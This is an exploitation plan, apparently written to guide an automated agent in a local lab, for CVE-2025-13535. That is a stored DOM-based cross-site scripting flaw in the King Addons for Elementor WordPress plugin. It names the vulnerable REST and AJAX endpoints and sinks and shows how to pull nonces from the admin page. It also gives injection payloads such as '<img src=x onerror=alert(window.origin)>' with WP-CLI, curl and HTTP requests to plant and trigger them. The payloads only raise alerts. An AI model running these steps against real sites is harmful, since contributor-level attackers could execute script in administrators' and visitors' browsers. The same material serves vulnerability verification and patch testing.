King Addons for Elementor <= 51.1.38 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Multiple Widgets

This plan targets CVE-2025-13535, a Stored DOM-Based Cross-Site Scripting (XSS) vulnerability in the King Addons for Elementor plugin. The vulnerability arises from two primary flaws:

1. Improper Output Escaping in Event Handlers: Using esc_attr() or esc_url() inside JavaScript onclick attributes, allowing attribute breakout via HTML entity decoding.
2. Unsafe DOM Manipulation: Client-side JavaScript (specifically for widgets and the AI translator) using .html() or template literals with unvalidated data from REST/AJAX endpoints.

---

1. Vulnerability Summary

• Vulnerability Name: Authenticated (Contributor+) DOM-Based Stored XSS
• Plugin Slug: king-addons
• Vulnerable Components: Multiple Elementor Widgets (Button, Post Grid, etc.) and the Ajax_Select2_API REST controller.
• Affected Versions: <= 51.1.38
• Why it exists: The plugin's REST API specifically decodes HTML entities in post titles (html_entity_decode) before sending them to the client. The client-side JavaScript then renders these titles using jQuery's .html() method. Additionally, widget templates render user-controlled URLs/settings inside onclick attributes using esc_attr(), which the browser decodes before JavaScript execution.

2. Attack Vector Analysis

• Authentication Level: Contributor or higher (any role with edit_posts capability).
• Entry Points:
  1. Post Title Injection: Creating a post with a malicious title.
  2. Widget Link Injection: Setting a widget's URL or custom attribute in the Elementor Editor.
• Vulnerable Endpoints:
  • REST API: /wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType
  • AJAX: king_addons_el_hf_get_posts_by_query (Action: wp_ajax_king_addons_el_hf_get_posts_by_query)
• Payload Type: "><img src=x onerror=alert(origin)> or javascript:alert(1)

3. Code Flow

Path A: DOM XSS via Post Selection (REST API)

1. Attacker (Contributor): Creates a post with title <img src=x onerror=alert(1)>.
2. King Addons REST Controller: Ajax_Select2_API::getPostsByPostType (in includes/controls/Ajax_Select2/Ajax_Select2_API.php) fetches the title.
3. Vulnerable Sink (PHP): It calls 'text' => html_entity_decode(get_the_title()). This explicitly decodes any existing safety entities.
4. Client-Side JS: A widget (e.g., Post Grid) or the Elementor Editor's post selector calls this REST route.
5. Vulnerable Sink (JS): The Select2 handler or widget JS renders the text property using .html() or template literals, executing the script.

Path B: Inline Event Handler Breakout (Widget Template)

1. Attacker (Contributor): Adds a widget (e.g., Button) and sets a URL/Attribute to ');alert(1);('.
2. Vulnerable Sink (PHP): The widget template renders an inline handler: onclick="someFunction('<?php echo esc_attr($url); ?>')" (inferred from description).
3. Browser Decoding: The browser decodes the attribute value ');alert(1);(' back to ');alert(1);(' before JS execution.
4. Execution: The JS engine executes someFunction('');alert(1);('').

4. Nonce Acquisition Strategy

The Ajax_Select2_API REST route uses permission_callback => '__return_true' and relies on current_user_can('edit_posts'). Standard REST API authentication (nonce in X-WP-Nonce header) is required if accessed via the browser.

The Header/Footer Builder AJAX endpoint requires a specific nonce:

1. Shortcode/Location: The script king-addons-el-hf-admin is enqueued on the Header/Footer builder page: wp-admin/edit.php?post_type=king-addons-el-hf.
2. Extraction:
   • Navigate to: http://localhost:8080/wp-admin/edit.php?post_type=king-addons-el-hf
   • Execute JS: window.king_addons_el_hf_admin?.nonce

5. Exploitation Strategy

Step 1: Inject Malicious Post Title

• Objective: Create a post that will be served by the Select2 REST API.
• HTTP Request: Use http_request as a Contributor.
• Endpoint: /wp-admin/post-new.php (or use WP-CLI to be faster).
• Payload Title: XSS-Trigger <img src=x onerror=alert(window.origin)>

Step 2: Trigger REST API Reflection

• Objective: Verify the REST API returns the decoded payload.
• HTTP Request:

  GET /wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType?query_slug=post&s=XSS-Trigger HTTP/1.1
  Host: localhost:8080
  X-WP-Nonce: [REST_NONCE]
  

• Expected JSON Response: Look for "text": "XSS-Trigger <img src=x onerror=alert(window.origin)>" (Note the lack of entity encoding).

Step 3: Demonstrate DOM Sink (Manual Simulation)

• The agent should document that any King Addons widget using this REST endpoint for dynamic content (like "Post Grid" or "Select Post") will render this text via .html().

6. Test Data Setup

1. User: Create a user contributor_user with the contributor role.
2. Post Type: Enable the plugin's "Header & Footer Builder" extension in King Addons settings if needed.
3. Content:

   wp post create --post_type=post --post_title='XSS-Trigger <img src=x onerror=alert(window.origin)>' --post_status=publish --post_author=[ID]
   

7. Expected Results

• The REST API call /wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType must return the post title with the HTML tag decoded.
• In a browser context (e.g., using browser_navigate to an Elementor page with a King Addons Post Selector), an alert box should trigger when the post list is loaded.

8. Verification Steps

1. Check REST output:

   # As contributor
   curl -u contributor:password "http://localhost:8080/wp-json/kingaddons/v1/ajaxselect2/getPostsByPostType?query_slug=post&s=XSS-Trigger"
   

2. Confirm Lack of Encoding: Verify that < and > in the title are NOT converted to < and > in the JSON response.

9. Alternative Approaches

If the REST API is not sufficient, target the Header Footer Builder AJAX endpoint:

• Action: king_addons_el_hf_get_posts_by_query
• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=king_addons_el_hf_get_posts_by_query&q=XSS-Trigger&nonce=[NONCE]
  

• The code in Header_Footer_Builder.php lines 188-191 also retrieves get_the_title() and puts it into the text key of the response. If the associated JS for this feature (likely in the builder interface) uses .html(), the XSS will trigger there.